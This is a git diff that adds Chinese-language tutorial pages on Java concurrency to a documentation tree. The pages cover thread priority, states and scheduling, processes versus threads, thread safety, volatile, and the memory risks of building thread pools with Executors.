+ System.out.println("Thread(t1) Priority:" + t1.getPriority());
+ t1.setPriority(Thread.MAX_PRIORITY - 1);
+ System.out.println("Thread(t1) Priority:" + t1.getPriority());
+
+ t.setPriority(Thread.NORM_PRIORITY);
+ System.out.println("Main Thread Priority:" + t.getPriority());
+
+ Thread t2 = new Thread();
+ System.out.println("Thread(t2) Priority:" + t2.getPriority());
+
+ // Change thread t2 priority to minimum
+ t2.setPriority(Thread.MIN_PRIORITY);
+ System.out.println("Thread(t2) Priority:" + t2.getPriority());
+ }
+
+ }
+
+
+输出结果为:
+
+ Main Thread Priority:5
+ Thread(t1) Priority:5
+ Thread(t1) Priority:9
+ Main Thread Priority:5
+ Thread(t2) Priority:5
+ Thread(t2) Priority:1
+
+
+在上面的代码中,Java虚拟机启动时,就会通过main方法启动一个线程,JVM就会一直运行下去,直到以下任意一个条件发生:
+
+* 调用了exit()方法,并且exit()有权限被正常执行。
+* 所有的“非守护线程”都死了(即JVM中仅仅只有“守护线程”)。
\ No newline at end of file
diff --git a/docs/basics/concurrent-coding/progress-vs-thread.md b/docs/basics/concurrent-coding/progress-vs-thread.md
new file mode 100644
index 00000000..f848f0d5
--- /dev/null
+++ b/docs/basics/concurrent-coding/progress-vs-thread.md
@@ -0,0 +1,15 @@
+为了看起来像是“同时干多件事”,分时操作系统是把CPU的时间划分成长短基本相同的”时间片”,通过操作系统的管理,把这些时间片依次轮流地分配给各个用户的各个任务使用。
+
+在多任务处理系统中,CPU需要处理所有程序的操作,当用户来回切换它们时,需要记录这些程序执行到哪里。在操作系统中,CPU切换到另一个进程需要保存当前进程的状态并恢复另一个进程的状态:当前运行任务转为就绪(或者挂起、删除)状态,另一个被选定的就绪任务成为当前任务。**上下文切换**就是这样一个过程,他允许CPU记录并恢复各种正在运行程序的状态,使它能够完成切换操作。
+
+> 在上下文切换过程中,CPU会停止处理当前运行的程序,并保存当前程序运行的具体位置以便之后继续运行。从这个角度来看,上下文切换有点像我们同时阅读几本书,在来回切换书本的同时我们需要记住每本书当前读到的页码。在程序中,上下文切换过程中的“页码”信息是保存在进程控制块(PCB)中的。PCB还经常被称作“切换帧”(switchframe)。“页码”信息会一直保存到CPU的内存中,直到他们被再次使用。
+
+对于操作系统来说,一个任务就是一个进程(Process),比如打开一个浏览器就是启动一个浏览器进程,打开一个记事本就启动了一个记事本进程,打开两个记事本就启动了两个记事本进程,打开一个Word就启动了一个Word进程。
+
+而在多个进程之间切换的时候,需要进行上下文切换。但是上下文切换势必会耗费一些资源。于是人们考虑,能不能在一个进程中增加一些“子任务”,这样减少上下文切换的成本。比如我们使用Word的时候,它可以同时进行打字、拼写检查、字数统计等,这些子任务之间共用同一个进程资源,但是他们之间的切换不需要进行上下文切换。
+
+在一个进程内部,要同时干多件事,就需要同时运行多个“子任务”,我们把进程内的这些“子任务”称为线程(Thread)。
+
+随着时间的慢慢发展,人们进一步的切分了进程和线程之间的职责。**把进程当做资源分配的基本单元,把线程当做执行的基本单元,同一个进程的多个线程之间共享资源**
+
+拿我们比较熟悉的Java语言来说,Java程序是运行在JVM上面的,每一个JVM其实就是一个进程。所有的资源分配都是基于JVM进程来的。而在这个JVM进程中,又可以创建出很多线程,多个线程之间共享JVM资源,并且多个线程可以并发执行。
\ No newline at end of file
diff --git a/docs/basics/concurrent-coding/state-of-thread.md b/docs/basics/concurrent-coding/state-of-thread.md
new file mode 100644
index 00000000..78049e66
--- /dev/null
+++ b/docs/basics/concurrent-coding/state-of-thread.md
@@ -0,0 +1,18 @@
+线程是有状态的,并且这些状态之间也是可以互相流转的。Java中线程的状态分为6种:
+
+* 1\.初始(NEW):新创建了一个线程对象,但还没有调用start()方法。
+* 1\.运行(RUNNABLE):Java线程中将就绪(READY)和运行中(RUNNING)两种状态笼统的称为“运行”。
+ * 就绪(READY):线程对象创建后,其他线程(比如main线程)调用了该对象的start()方法。该状态的线程位于可运行线程池中,等待被线程调度选中并分配cpu使用权 。
+ * 运行中(RUNNING):就绪(READY)的线程获得了cpu 时间片,开始执行程序代码。
+* 3\.阻塞(BLOCKED):表示线程阻塞于锁(关于锁,在后面章节会介绍)。
+* 4\.等待(WAITING):进入该状态的线程需要等待其他线程做出一些特定动作(通知或中断)。
+* 5\.超时等待(TIMED_WAITING):该状态不同于WAITING,它可以在指定的时间后自行返回。
+* 6\. 终止(TERMINATED):表示该线程已经执行完毕。
+
+下图是一张线程状态的流转图:
+
+
+
+
+可以看到,图中的各个状态之间的流转路径上都有标注对应的Java中的方法。这些就是Java中进行线程调度的一些api。
+
diff --git a/basics/java-basic/synchronized.md b/docs/basics/concurrent-coding/synchronized.md
similarity index 100%
rename from basics/java-basic/synchronized.md
rename to docs/basics/concurrent-coding/synchronized.md
diff --git a/docs/basics/concurrent-coding/thread-safe.md b/docs/basics/concurrent-coding/thread-safe.md
new file mode 100644
index 00000000..10374e58
--- /dev/null
+++ b/docs/basics/concurrent-coding/thread-safe.md
@@ -0,0 +1,119 @@
+# 什么是线程安全
+
+线程安全,维基百科中的解释是:
+
+> 线程安全是编程中的术语,指某个函数、函数库在**并发**环境中被调用时,能够正确地处理**多个线程**之间的**共享变量**,使程序功能正确完成。
+
+我们把这个定义拆解一下,我们需要弄清楚这么几点: 1、并发 2、多线程 3、共享变量
+
+# 并发
+
+提到线程安全,必须要提及的一个词那就是并发,如果没有并发的话,那么也就不存在线程安全问题了。
+
+## 什么是并发
+
+并发(Concurrent),在操作系统中,是指一个时间段中有几个程序都处于已启动运行到运行完毕之间,且这几个程序都是在同一个处理机上运行。
+
+那么,操作系统视如何实现这种并发的呢?
+
+现在我们用到操作系统,无论是Windows、Linux还是MacOS等其实都是**多用户多任务分时操作系统**。使用这些操作系统的用户是可以“同时”干多件事的。
+
+但是实际上,对于单CPU的计算机来说,在CPU中,同一时间是只能干一件事儿的。为了看起来像是“同时干多件事”,分时操作系统是把CPU的时间划分成长短基本相同的时间区间,即”时间片”,通过操作系统的管理,把这些时间片依次轮流地分配给各个用户使用。
+
+如果某个作业在时间片结束之前,整个任务还没有完成,那么该作业就被暂停下来,放弃CPU,等待下一轮循环再继续做.此时CPU又分配给另一个作业去使用。
+
+由于计算机的处理速度很快,只要时间片的间隔取得适当,那么一个用户作业从用完分配给它的一个时间片到获得下一个CPU时间片,中间有所”停顿”,但用户察觉不出来,好像整个系统全由它”独占”似的。
+
+所以,在单CPU的计算机中,我们看起来“同时干多件事”,其实是通过CPU时间片技术,并发完成的。
+
+提到并发,还有另外一个词容易和他混淆,那就是并行。
+
+## 并发与并行之间的关系
+
+并行(Parallel),当系统有一个以上CPU时,当一个CPU执行一个进程时,另一个CPU可以执行另一个进程,两个进程互不抢占CPU资源,可以同时进行,这种方式我们称之为并行(Parallel)。
+
+Erlang 之父 Joe Armstrong 用一张比较形象的图解释了并发与并行的区别:
+
+
+
+并发是两个队伍交替使用一台咖啡机。并行是两个队伍同时使用两台咖啡机。
+
+映射到计算机系统中,上图中的咖啡机就是CPU,两个队伍指的就是两个进程。
+
+# 多线程
+
+## 进程和线程
+
+理解了并发和并行之间的关系和区别后,我们再回到前面介绍的多任务分时操作系统,看看CPU是如何进行进程调度的。
+
+为了看起来像是“同时干多件事”,分时操作系统是把CPU的时间划分成长短基本相同的”时间片”,通过操作系统的管理,把这些时间片依次轮流地分配给各个用户的各个任务使用。
+
+在多任务处理系统中,CPU需要处理所有程序的操作,当用户来回切换它们时,需要记录这些程序执行到哪里。在操作系统中,CPU切换到另一个进程需要保存当前进程的状态并恢复另一个进程的状态:当前运行任务转为就绪(或者挂起、删除)状态,另一个被选定的就绪任务成为当前任务。**上下文切换**就是这样一个过程,他允许CPU记录并恢复各种正在运行程序的状态,使它能够完成切换操作。
+
+> 在上下文切换过程中,CPU会停止处理当前运行的程序,并保存当前程序运行的具体位置以便之后继续运行。从这个角度来看,上下文切换有点像我们同时阅读几本书,在来回切换书本的同时我们需要记住每本书当前读到的页码。在程序中,上下文切换过程中的“页码”信息是保存在进程控制块(PCB)中的。PCB还经常被称作“切换帧”(switchframe)。“页码”信息会一直保存到CPU的内存中,直到他们被再次使用。
+
+对于操作系统来说,一个任务就是一个进程(Process),比如打开一个浏览器就是启动一个浏览器进程,打开一个记事本就启动了一个记事本进程,打开两个记事本就启动了两个记事本进程,打开一个Word就启动了一个Word进程。
+
+而在多个进程之间切换的时候,需要进行上下文切换。但是上下文切换势必会耗费一些资源。于是人们考虑,能不能在一个进程中增加一些“子任务”,这样减少上下文切换的成本。比如我们使用Word的时候,它可以同时进行打字、拼写检查、字数统计等,这些子任务之间共用同一个进程资源,但是他们之间的切换不需要进行上下文切换。
+
+在一个进程内部,要同时干多件事,就需要同时运行多个“子任务”,我们把进程内的这些“子任务”称为线程(Thread)。
+
+随着时间的慢慢发展,人们进一步的切分了进程和线程之间的职责。**把进程当做资源分配的基本单元,把线程当做执行的基本单元,同一个进程的多个线程之间共享资源**
+
+拿我们比较熟悉的Java语言来说,Java程序是运行在JVM上面的,每一个JVM其实就是一个进程。所有的资源分配都是基于JVM进程来的。而在这个JVM进程中,又可以创建出很多线程,多个线程之间共享JVM资源,并且多个线程可以并发执行。
+
+# 共享变量
+
+所谓共享变量,指的是多个线程都可以操作的变量。
+
+前面我们提到过,进程视分配资源的基本单位,线程是执行的基本单位。所以,多个线程之间是可以共享一部分进程中的数据的。在JVM中,Java堆和方法区的区域是多个线程共享的数据区域。也就是说,多个线程可以操作保存在堆或者方法区中的同一个数据。那么,换句话说,保存在堆和方法区中的变量就是Java中的共享变量。
+
+那么,Java中哪些变量是存放在堆中,哪些变量是存放在方法区中,又有哪些变量是存放在栈中的呢?
+
+## 类变量、成员变量和局部变量
+
+Java中共有三种变量,分别是类变量、成员变量和局部变量。他们分别存放在JVM的方法区、堆内存和栈内存中。
+
+ /**
+ * @author Hollis
+ */
+ public class Variables {
+
+ /**
+ * 类变量
+ */
+ private static int a;
+
+ /**
+ * 成员变量
+ */
+ private int b;
+
+ /**
+ * 局部变量
+ * @param c
+ */
+ public void test(int c){
+ int d;
+ }
+ }
+
+
+上面定义的三个变量中,变量a就是类变量,变量b就是成员变量,而变量c和d是局部变量。
+
+所以,变量a和b是共享变量,变量c和d是非共享变量。所以如果遇到多线程场景,对于变量a和b的操作是需要考虑线程安全的,而对于线程c和d的操作是不需要考虑线程安全的。
+
+# 小结
+
+在了解了一些基础知识以后,我们再来回过头看看线程安全的定义:
+
+> 线程安全是编程中的术语,指某个函数、函数库在**并发**环境中被调用时,能够正确地处理**多个线程**之间的**共享变量**,使程序功能正确完成。
+
+现在我们知道了什么是并发环境,什么是多个线程以及什么是共享变量。那么只要我们在编写多线程的代码的时候注意一下,保证程序功能可以正确的执行就行了。
+
+那么问题来了,定义中说线程安全能够**正确地处理**多个线程之间的共享变量,使程序功能**正确完成**。
+
+多线程场景中存在哪些问题会导致无法正确的处理共享变量? 多线程场景中存在哪些问题会导致程序无法正确完成? 如何解决多线程场景中影响『正确』的这些问题? 解决这些问题的各个手段的实现原理又是什么?
+
+ [1]: http://www.hollischuang.com/archives/3029
+ [2]: http://www.hollischuang.com/archives/tag/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3java%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B
\ No newline at end of file
diff --git a/docs/basics/concurrent-coding/thread-scheduling.md b/docs/basics/concurrent-coding/thread-scheduling.md
new file mode 100644
index 00000000..530ee49c
--- /dev/null
+++ b/docs/basics/concurrent-coding/thread-scheduling.md
@@ -0,0 +1,59 @@
+在关于线程安全的文章中,我们提到过,对于单CPU的计算机来说,在任意时刻只能执行一条机器指令,每个线程只有获得CPU的使用权才能执行指令。
+
+所谓多线程的并发运行,其实是指从宏观上看,各个线程轮流获得CPU的使用权,分别执行各自的任务。
+
+前面关于线程状态的介绍中,我们知道,线程的运行状态中包含两种子状态,即就绪(READY)和运行中(RUNNING)。
+
+而一个线程想要从就绪状态变成运行中状态,这个过程需要系统调度,即给线程分配CPU的使用权,获得CPU使用权的线程才会从就绪状态变成运行状态。
+
+**给多个线程按照特定的机制分配CPU的使用权的过程就叫做线程调度。**
+
+还记得在介绍进程和线程的区别的时候,我们提到过的一句话吗:进程是分配资源的基本单元,线程是CPU调度的基本单元。这里所说的调度指的就是给其分配CPU时间片,让其执行任务。
+
+## Linux线程调度
+
+在Linux中,线程是由进程来实现,线程就是轻量级进程( lightweight process ),因此在Linux中,线程的调度是按照进程的调度方式来进行调度的,也就是说线程是调度单元。
+
+Linux这样实现的线程的好处的之一是:线程调度直接使用进程调度就可以了,没必要再搞一个进程内的线程调度器。在Linux中,调度器是基于线程的调度策略(scheduling policy)和静态调度优先级(static scheduling priority)来决定那个线程来运行。
+
+在Linux中,主要有三种调度策略。分别是:
+
+* SCHED_OTHER 分时调度策略,(默认的)
+* SCHED_FIFO 实时调度策略,先到先服务
+* SCHED_RR 实时调度策略,时间片轮转
+
+## Windows线程调度
+
+Windows 采用基于优先级的、抢占调度算法来调度线程。
+
+用于处理调度的 Windows 内核部分称为调度程序,Windows 调度程序确保具有最高优先级的线程总是在运行的。由于调度程序选择运行的线程会一直运行,直到被更高优先级的线程所抢占,或终止,或时间片已到,或调用阻塞系统调用(如 I/O)。如果在低优先级线程运行时,更高优先级的实时线程变成就绪,那么低优先级线程就被抢占。这种抢占使得实时线程在需要使用 CPU 时优先得到使用。
+
+# Java线程调度
+
+可以看到,不同的操作系统,有不同的线程调度策略。但是,作为一个Java开发人员来说,我们日常开发过程中一般很少关注操作系统层面的东西。
+
+主要是因为Java程序都是运行在Java虚拟机上面的,而虚拟机帮我们屏蔽了操作系统的差异,所以我们说Java是一个跨平台语言。
+
+**在操作系统中,一个Java程序其实就是一个进程。所以,我们说Java是单进程、多线程的!**
+
+前面关于线程的实现也介绍过,Thread类与大部分的Java API有显著的差别,它的所有关键方法都是声明为Native的,也就是说,他需要根据不同的操作系统有不同的实现。
+
+在Java的多线程程序中,为保证所有线程的执行能按照一定的规则执行,JVM实现了一个线程调度器,它定义了线程调度模型,对于CPU运算的分配都进行了规定,按照这些特定的机制为多个线程分配CPU的使用权。
+
+主要有两种调度模型:**协同式线程调度**和**抢占式调度模型**。
+
+## 协同式线程调度
+
+协同式调度的多线程系统,线程的执行时间由线程本身来控制,线程把自己的工作执行完了之后,要主动通知系统切换到另外一个线程上。协同式多线程的最大好处是实现简单,而且由于线程要把自己的事情干完后才会进行线程切换,切换操作对线程自己是可知的,所以没有什么线程同步的问题。
+
+## 抢占式调度模型
+
+抢占式调度的多线程系统,那么每个线程将由系统来分配执行时间,线程的切换不由线程本身来决定。在这种实现线程调度的方式下,线程的执行时间是系统可控的,也不会有一个线程导致整个进程阻塞的问题。
+
+系统会让可运行池中优先级高的线程占用CPU,如果可运行池中的线程优先级相同,那么就随机选择一个线程,使其占用CPU。处于运行状态的线程会一直运行,直至它不得不放弃CPU。
+
+**Java虚拟机采用抢占式调度模型。**
+
+虽然Java线程调度是系统自动完成的,但是我们还是可以“建议”系统给某些线程多分配一点执行时间,另外的一些线程则可以少分配一点——这项操作可以通过设置线程优先级来完成。Java语言一共设置了10个级别的线程优先级(Thread.MIN_PRIORITY至Thread.MAX_PRIORITY),在两个线程同时处于Ready状态时,优先级越高的线程越容易被系统选择执行。
+
+不过,线程优先级并不是太靠谱,原因是Java的线程是通过映射到系统的原生线程上来实现的,所以线程调度最终还是取决于操作系统,虽然现在很多操作系统都提供线程优先级的概念,但是并不见得能与Java线程的优先级一一对应。
\ No newline at end of file
diff --git a/docs/basics/concurrent-coding/thread.md b/docs/basics/concurrent-coding/thread.md
new file mode 100644
index 00000000..c943f7f6
--- /dev/null
+++ b/docs/basics/concurrent-coding/thread.md
@@ -0,0 +1,17 @@
+在多线程操作系统中,通常是在一个进程中包括多个线程,每个线程都是作为利用CPU的基本单位,是花费最小开销的实体。线程具有以下属性。
+
+## 轻型实体
+
+线程中的实体基本上不拥有系统资源,只是有一点必不可少的、能保证独立运行的资源。 线程的实体包括程序、数据和TCB。线程是动态概念,它的动态特性由线程控制块TCB(Thread Control Block)描述。TCB包括以下信息: (1)线程状态。 (2)当线程不运行时,被保存的现场资源。 (3)一组执行堆栈。 (4)存放每个线程的局部变量主存区。 (5)访问同一个进程中的主存和其它资源。 用于指示被执行指令序列的程序计数器、保留局部变量、少数状态参数和返回地址等的一组寄存器和堆栈。
+
+## 独立调度和分派的基本单位。
+
+在多线程操作系统中,线程是能独立运行的基本单位,因而也是独立调度和分派的基本单位。由于线程很“轻”,故线程的切换非常迅速且开销小(在同一进程中的)。
+
+## 可并发执行。
+
+在一个进程中的多个线程之间,可以并发执行,甚至允许在一个进程中所有线程都能并发执行;同样,不同进程中的线程也能并发执行,充分利用和发挥了处理机与外围设备并行工作的能力。
+
+## 共享进程资源。
+
+在同一进程中的各个线程,都可以共享该进程所拥有的资源,这首先表现在:所有线程都具有相同的地址空间(进程的地址空间),这意味着,线程可以访问该地址空间的每一个虚地址;此外,还可以访问进程所拥有的已打开文件、定时器、信号量机构等。由于同一个进程内的线程共享内存和文件,所以线程之间互相通信不必调用内核。
diff --git a/docs/basics/concurrent-coding/volatile.md b/docs/basics/concurrent-coding/volatile.md
new file mode 100644
index 00000000..1bb32ce9
--- /dev/null
+++ b/docs/basics/concurrent-coding/volatile.md
@@ -0,0 +1,138 @@
+在[再有人问你Java内存模型是什么,就把这篇文章发给他][1]中我们曾经介绍过,Java语言为了解决并发编程中存在的原子性、可见性和有序性问题,提供了一系列和并发处理相关的关键字,比如`synchronized`、`volatile`、`final`、`concurren包`等。在[前一篇][2]文章中,我们也介绍了`synchronized`的用法及原理。本文,来分析一下另外一个关键字——`volatile`。
+
+本文就围绕`volatile`展开,主要介绍`volatile`的用法、`volatile`的原理,以及`volatile`是如何提供可见性和有序性保障的等。
+
+`volatile`这个关键字,不仅仅在Java语言中有,在很多语言中都有的,而且其用法和语义也都是不尽相同的。尤其在C语言、C++以及Java中,都有`volatile`关键字。都可以用来声明变量或者对象。下面简单来介绍一下Java语言中的`volatile`关键字。
+
+### volatile的用法
+
+`volatile`通常被比喻成"轻量级的`synchronized`",也是Java并发编程中比较重要的一个关键字。和`synchronized`不同,`volatile`是一个变量修饰符,只能用来修饰变量。无法修饰方法及代码块等。
+
+`volatile`的用法比较简单,只需要在声明一个可能被多线程同时访问的变量时,使用`volatile`修饰就可以了。
+
+ public class Singleton {
+ private volatile static Singleton singleton;
+ private Singleton (){}
+ public static Singleton getSingleton() {
+ if (singleton == null) {
+ synchronized (Singleton.class) {
+ if (singleton == null) {
+ singleton = new Singleton();
+ }
+ }
+ }
+ return singleton;
+ }
+ }
+
+
+如以上代码,是一个比较典型的使用双重锁校验的形式实现单例的,其中使用`volatile`关键字修饰可能被多个线程同时访问到的singleton。
+
+### volatile的原理
+
+在[再有人问你Java内存模型是什么,就把这篇文章发给他][1]中我们曾经介绍过,为了提高处理器的执行速度,在处理器和内存之间增加了多级缓存来提升。但是由于引入了多级缓存,就存在缓存数据不一致问题。
+
+但是,对于`volatile`变量,当对`volatile`变量进行写操作的时候,JVM会向处理器发送一条lock前缀的指令,将这个缓存中的变量回写到系统主存中。
+
+但是就算写回到内存,如果其他处理器缓存的值还是旧的,再执行计算操作就会有问题,所以在多处理器下,为了保证各个处理器的缓存是一致的,就会实现`缓存一致性协议`
+
+**缓存一致性协议**:每个处理器通过嗅探在总线上传播的数据来检查自己缓存的值是不是过期了,当处理器发现自己缓存行对应的内存地址被修改,就会将当前处理器的缓存行设置成无效状态,当处理器要对这个数据进行修改操作的时候,会强制重新从系统内存里把数据读到处理器缓存里。
+
+所以,如果一个变量被`volatile`所修饰的话,在每次数据变化之后,其值都会被强制刷入主存。而其他处理器的缓存由于遵守了缓存一致性协议,也会把这个变量的值从主存加载到自己的缓存中。这就保证了一个`volatile`在并发编程中,其值在多个缓存中是可见的。
+
+### volatile与可见性
+
+可见性是指当多个线程访问同一个变量时,一个线程修改了这个变量的值,其他线程能够立即看得到修改的值。
+
+我们在[再有人问你Java内存模型是什么,就把这篇文章发给他][1]中分析过:Java内存模型规定了所有的变量都存储在主内存中,每条线程还有自己的工作内存,线程的工作内存中保存了该线程中使用到的变量的主内存副本拷贝,线程对变量的所有操作都必须在工作内存中进行,而不能直接读写主内存。不同的线程之间也无法直接访问对方工作内存中的变量,线程间变量的传递均需要自己的工作内存和主存之间进行数据同步进行。所以,就可能出现线程1改了某个变量的值,但是线程2不可见的情况。
+
+前面的关于`volatile`的原理中介绍过了,Java中的`volatile`关键字提供了一个功能,那就是被其修饰的变量在被修改后可以立即同步到主内存,被其修饰的变量在每次使用之前都从主内存刷新。因此,可以使用`volatile`来保证多线程操作时变量的可见性。
+
+### volatile与有序性
+
+有序性即程序执行的顺序按照代码的先后顺序执行。
+
+我们在[再有人问你Java内存模型是什么,就把这篇文章发给他][1]中分析过:除了引入了时间片以外,由于处理器优化和指令重排等,CPU还可能对输入代码进行乱序执行,比如`load->add->save` 有可能被优化成`load->save->add` 。这就是可能存在有序性问题。
+
+而`volatile`除了可以保证数据的可见性之外,还有一个强大的功能,那就是他可以禁止指令重排优化等。
+
+普通的变量仅仅会保证在该方法的执行过程中所依赖的赋值结果的地方都能获得正确的结果,而不能保证变量的赋值操作的顺序与程序代码中的执行顺序一致。
+
+volatile可以禁止指令重排,这就保证了代码的程序会严格按照代码的先后顺序执行。这就保证了有序性。被`volatile`修饰的变量的操作,会严格按照代码顺序执行,`load->add->save` 的执行顺序就是:load、add、save。
+
+### volatile与原子性
+
+原子性是指一个操作是不可中断的,要全部执行完成,要不就都不执行。
+
+我们在[Java的并发编程中的多线程问题到底是怎么回事儿?][3]中分析过:线程是CPU调度的基本单位。CPU有时间片的概念,会根据不同的调度算法进行线程调度。当一个线程获得时间片之后开始执行,在时间片耗尽之后,就会失去CPU使用权。所以在多线程场景下,由于时间片在线程间轮换,就会发生原子性问题。
+
+在上一篇文章中,我们介绍`synchronized`的时候,提到过,为了保证原子性,需要通过字节码指令`monitorenter`和`monitorexit`,但是`volatile`和这两个指令之间是没有任何关系的。
+
+**所以,`volatile`是不能保证原子性的。**
+
+在以下两个场景中可以使用`volatile`来代替`synchronized`:
+
+> 1、运算结果并不依赖变量的当前值,或者能够确保只有单一的线程会修改变量的值。
+>
+> 2、变量不需要与其他状态变量共同参与不变约束。
+
+除以上场景外,都需要使用其他方式来保证原子性,如`synchronized`或者`concurrent包`。
+
+我们来看一下volatile和原子性的例子:
+
+ public class Test {
+ public volatile int inc = 0;
+
+ public void increase() {
+ inc++;
+ }
+
+ public static void main(String[] args) {
+ final Test test = new Test();
+ for(int i=0;i<10;i++){
+ new Thread(){
+ public void run() {
+ for(int j=0;j<1000;j++)
+ test.increase();
+ };
+ }.start();
+ }
+
+ while(Thread.activeCount()>1) //保证前面的线程都执行完
+ Thread.yield();
+ System.out.println(test.inc);
+ }
+ }
+
+
+以上代码比较简单,就是创建10个线程,然后分别执行1000次`i++`操作。正常情况下,程序的输出结果应该是10000,但是,多次执行的结果都小于10000。这其实就是`volatile`无法满足原子性的原因。
+
+为什么会出现这种情况呢,那就是因为虽然volatile可以保证`inc`在多个线程之间的可见性。但是无法`inc++`的原子性。
+
+### 总结与思考
+
+我们介绍过了`volatile`关键字和`synchronized`关键字。现在我们知道,`synchronized`可以保证原子性、有序性和可见性。而`volatile`却只能保证有序性和可见性。
+
+那么,我们再来看一下双重校验锁实现的单例,已经使用了`synchronized`,为什么还需要`volatile`?
+
+ public class Singleton {
+ private volatile static Singleton singleton;
+ private Singleton (){}
+ public static Singleton getSingleton() {
+ if (singleton == null) {
+ synchronized (Singleton.class) {
+ if (singleton == null) {
+ singleton = new Singleton();
+ }
+ }
+ }
+ return singleton;
+ }
+ }
+
+
+答案,我们在下一篇文章:既生synchronized,何生亮volatile中介绍,敬请关注我的博客(http://47.103.216.138)和公众号(Hollis)。
+
+[1]: http://47.103.216.138/archives/2550
+[2]: http://47.103.216.138/archives/2637
+[3]: http://47.103.216.138/archives/2618
\ No newline at end of file
diff --git a/docs/basics/concurrent-coding/why-not-executors.md b/docs/basics/concurrent-coding/why-not-executors.md
new file mode 100644
index 00000000..9460028a
--- /dev/null
+++ b/docs/basics/concurrent-coding/why-not-executors.md
@@ -0,0 +1,153 @@
+在《[深入源码分析Java线程池的实现原理][1]》这篇文章中,我们介绍过了Java中线程池的常见用法以及基本原理。
+
+在文中有这样一段描述:
+
+> 可以通过Executors静态工厂构建线程池,但一般不建议这样使用。
+
+关于这个问题,在那篇文章中并没有深入的展开。作者之所以这么说,是因为这种创建线程池的方式有很大的隐患,稍有不慎就有可能导致线上故障,如:一次Java线程池误用引发的血案和总结( )
+
+本文我们就来围绕这个问题来分析一下为什么JDK自身提供的构建线程池的方式并不建议使用?到底应该如何创建一个线程池呢?
+
+### Executors
+
+Executors 是一个Java中的工具类。提供工厂方法来创建不同类型的线程池。
+
+![][2]
+
+从上图中也可以看出,Executors的创建线程池的方法,创建出来的线程池都实现了ExecutorService接口。常用方法有以下几个:
+
+`newFiexedThreadPool(int Threads)`:创建固定数目线程的线程池。
+
+`newCachedThreadPool()`:创建一个可缓存的线程池,调用execute 将重用以前构造的线程(如果线程可用)。如果没有可用的线程,则创建一个新线程并添加到池中。终止并从缓存中移除那些已有 60 秒钟未被使用的线程。
+
+`newSingleThreadExecutor()`创建一个单线程化的Executor。
+
+`newScheduledThreadPool(int corePoolSize)`创建一个支持定时及周期性的任务执行的线程池,多数情况下可用来替代Timer类。
+
+类看起来功能还是比较强大的,又用到了工厂模式、又有比较强的扩展性,重要的是用起来还比较方便,如:
+
+ExecutorService executor = Executors.newFixedThreadPool(nThreads) ;
+
+
+即可创建一个固定大小的线程池。
+
+但是为什么我说不建议大家使用这个类来创建线程池呢?
+
+我提到的是『不建议』,但是在阿里巴巴Java开发手册中也明确指出,而且用的词是『不允许』使用Executors创建线程池。
+ 
+
+### Executors存在什么问题
+
+在阿里巴巴Java开发手册中提到,使用Executors创建线程池可能会导致OOM(OutOfMemory ,内存溢出),但是并没有说明为什么,那么接下来我们就来看一下到底为什么不允许使用Executors?
+
+我们先来一个简单的例子,模拟一下使用Executors导致OOM的情况。
+
+/**
+ * @author Hollis
+ */
+public class ExecutorsDemo {
+ private static ExecutorService executor = Executors.newFixedThreadPool(15);
+ public static void main(String[] args) {
+ for (int i = 0; i < Integer.MAX_VALUE; i++) {
+ executor.execute(new SubThread());
+ }
+ }
+}
+
+class SubThread implements Runnable {
+ @Override
+ public void run() {
+ try {
+ Thread.sleep(10000);
+ } catch (InterruptedException e) {
+ //do nothing
+ }
+ }
+}
+
+
+通过指定JVM参数:`-Xmx8m -Xms8m` 运行以上代码,会抛出OOM:
+
+Exception in thread "main" java.lang.OutOfMemoryError: GC overhead limit exceeded
+ at java.util.concurrent.LinkedBlockingQueue.offer(LinkedBlockingQueue.java:416)
+ at java.util.concurrent.ThreadPoolExecutor.execute(ThreadPoolExecutor.java:1371)
+ at com.hollis.ExecutorsDemo.main(ExecutorsDemo.java:16)
+
+
+以上代码指出,`ExecutorsDemo.java`的第16行,就是代码中的`executor.execute(new SubThread());`。
+
+### Executors为什么存在缺陷
+
+通过上面的例子,我们知道了`Executors`创建的线程池存在OOM的风险,那么到底是什么原因导致的呢?我们需要深入`Executors`的源码来分析一下。
+
+其实,在上面的报错信息中,我们是可以看出蛛丝马迹的,在以上的代码中其实已经说了,真正的导致OOM的其实是`LinkedBlockingQueue.offer`方法。
+
+Exception in thread "main" java.lang.OutOfMemoryError: GC overhead limit exceeded
+ at java.util.concurrent.LinkedBlockingQueue.offer(LinkedBlockingQueue.java:416)
+ at java.util.concurrent.ThreadPoolExecutor.execute(ThreadPoolExecutor.java:1371)
+ at com.hollis.ExecutorsDemo.main(ExecutorsDemo.java:16)
+
+
+如果读者翻看代码的话,也可以发现,其实底层确实是通过`LinkedBlockingQueue`实现的:
+
+public static ExecutorService newFixedThreadPool(int nThreads) {
+ return new ThreadPoolExecutor(nThreads, nThreads,
+ 0L, TimeUnit.MILLISECONDS,
+ new LinkedBlockingQueue<Runnable>());
+
+
+如果读者对Java中的阻塞队列有所了解的话,看到这里或许就能够明白原因了。
+
+Java中的`BlockingQueue`主要有两种实现,分别是`ArrayBlockingQueue` 和 `LinkedBlockingQueue`。
+
+`ArrayBlockingQueue`是一个用数组实现的有界阻塞队列,必须设置容量。
+
+`LinkedBlockingQueue`是一个用链表实现的有界阻塞队列,容量可以选择进行设置,不设置的话,将是一个无边界的阻塞队列,最大长度为`Integer.MAX_VALUE`。
+
+这里的问题就出在:**不设置的话,将是一个无边界的阻塞队列,最大长度为Integer.MAX_VALUE。**也就是说,如果我们不设置`LinkedBlockingQueue`的容量的话,其默认容量将会是`Integer.MAX_VALUE`。
+
+而`newFixedThreadPool`中创建`LinkedBlockingQueue`时,并未指定容量。此时,`LinkedBlockingQueue`就是一个无边界队列,对于一个无边界队列来说,是可以不断的向队列中加入任务的,这种情况下就有可能因为任务过多而导致内存溢出问题。
+
+上面提到的问题主要体现在`newFixedThreadPool`和`newSingleThreadExecutor`两个工厂方法上,并不是说`newCachedThreadPool`和`newScheduledThreadPool`这两个方法就安全了,这两种方式创建的最大线程数可能是`Integer.MAX_VALUE`,而创建这么多线程,必然就有可能导致OOM。
+
+### 创建线程池的正确姿势
+
+避免使用Executors创建线程池,主要是避免使用其中的默认实现,那么我们可以自己直接调用`ThreadPoolExecutor`的构造函数来自己创建线程池。在创建的同时,给`BlockQueue`指定容量就可以了。
+
+private static ExecutorService executor = new ThreadPoolExecutor(10, 10,
+ 60L, TimeUnit.SECONDS,
+ new ArrayBlockingQueue(10));
+
+
